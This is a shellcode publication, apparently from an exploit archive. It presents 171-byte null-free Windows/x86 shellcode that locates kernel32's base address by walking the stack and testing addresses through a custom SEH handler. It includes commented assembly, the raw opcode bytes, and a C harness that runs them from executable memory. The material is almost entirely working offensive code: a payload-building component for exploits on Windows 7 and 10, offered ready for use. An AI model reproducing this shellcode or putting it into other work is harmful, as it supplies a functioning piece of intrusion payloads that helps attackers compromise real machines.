171 bytes small Windows/x86 shellcode with a new method to find the kernel32 base address by walking down the stack and look for a possible Kernel32 address using a custom SEH handler. Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
1fb380032787e208e6d145c7b209982e# Shellcode Title: Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
# Description:
# This shellcode is a new method to find kernel32 base address by walking down the stack and look for a possible Kernel32 address using custom SEH handler.
# Each address found on the stack will be tested using the Exception handling function. If it's valid and starts with 7, then it's a possible kernel32 address.
# Date: 2/5/2022
# Shellcode Author: Tarek Ahmed
# Tested on: Microsoft Windows 7, and 10
/*
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Copyright (c) 2022 Tarek Ahmed
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SOFTWARE.
sub esp, 8
xor eax, eax
cdq
xchg edx, ecx
StackWalk :
mov ebx, [esp + ecx] ; Walking down the stack to find a possible kernel32 pointer
mov edx, ebx
shr ebx, 28 ; Shift right 28 to get the last digit in the address, (looking for 7)
add ecx, 4
cmp ebx, 7 ; is it 7 ?
jne StackWalk
jmp short checking
checkAddress :
push ebp
mov ebp, esp
jmp rev1 ; jmp down to rev1 and up again to avoid null bytes and get the address of next instruciton.
reverse:
pop eax
jmp eax
rev1:
call reverse
add eax, 0x1e
push eax
xor edi, edi
push dword ptr FS : [edi] ; Push FS[0] SEH
mov dword ptr fs : [edi] , esp ; set up or SEH stack
mov eax, dword ptr ss : [ebp + 8]
xchg eax, esi ; We want to call [esi] instead of [eax] next to avoid null bytes
mov eax, dword ptr ds : [esi]
xor eax, eax
jmp short cleanseh
xor eax, eax
inc eax
mov esp, dword ptr fs : [edi]
mov esp, dword ptr ss : [esp]
cleanseh :
pop dword ptr fs : [edi]
add esp, 4
pop ebp
ret
checking:
mov [ebp-0xc], ecx
push edx ; Push the address we want to check if it's valid or not
call checkAddress ; call the custom SEH function
test eax, eax ; is it valid ? 0 ?
je valid
mov ecx, [ebp-0xc]
jmp short StackWalk
valid :
mov ecx, [ebp-0xc]
mov ax, 0xffff ; We want to subtract 0x10000 from the address we found 0xffff + 1 = 0x10000
inc eax
findMZ:
sub edx, eax ; Sub 0x10000 from the possible address
mov dx, ax
mov ax, [edx]
cmp ax, 0x5a4d ; check for MZ to make sure it's a DLL file.
jne findMZ ; If not, subtract one more 0x10000 to get a different section.
xchg edx, ebx
mov edi, [ebx + 0x3c] ; Walk the PE file
add edi, ebx
mov edi, [edi + 0x78]
add edi, ebx
mov edi, [edi + 0xc]
add edi, ebx
add edi, 4
xor eax, eax
push eax
push 0x6c6c642e ; string .dll
push 0x32334c45 ; string EL32 = EL32.dll short for KERNEL32.dll
mov esi, esp
checkKernel :
mov edx, ecx
mov cl, 8 ; Compare string to KERNEL32.dll EDI ==> KERNEl32.dll
cld
repe cmpsb
test ecx, ecx
je foundKernel ; if equal, jmp to foundKernel
mov ecx, edx
jmp StackWalk
foundKernel :
; Kernel32 base address should be in EBX if you reach this line.
*/
#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
unsigned char code[] = "\x83\xEC\x08\x31\xC0\x99\x87\xCA\x8B\x1C\x0C\x89\xDA\xC1\xEB\x1C\x83\xC1\x04\x83\xFB\x07\x75\xF0\xEB\x34\x55\x89\xE5\xEB\x03\x58\xFF\xE0\xE8\xF8\xFF\xFF\xFF\x83\xC0\x1E\x50\x31\xFF\x64\xFF\x37\x64\x89\x27\x8B\x45\x08\x96\x8B\x06\x31\xC0\xEB\x09\x31\xC0\x40\x64\x8B\x27\x8B\x24\x24\x64\x8F\x07\x83\xC4\x04\x5D\xC3\x89\x4D\xF4\x52\xE8\xC3\xFF\xFF\xFF\x85\xC0\x74\x05\x8B\x4D\xF4\xEB\xA8\x8B\x4D\xF4\x66\xB8\xFF\xFF\x40\x29\xC2\x66\x89\xC2\x66\x8B\x02\x66\x3D\x4D\x5A\x75\xF2\x87\xDA\x8B\x7B\x3C\x01\xDF\x8B\x7F\x78\x01\xDF\x8B\x7F\x0C\x01\xDF\x83\xC7\x04\x31\xC0\x50\x68\x2E\x64\x6C\x6C\x68\x45\x4C\x33\x32\x89\xE6\x89\xCA\xB1\x08\xFC\xF3\xA6\x85\xC9\x74\x07\x89\xD1\xE9\x5D\xFF\xFF\xFF"
;
int main()
{
void* exec = VirtualAlloc(0, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}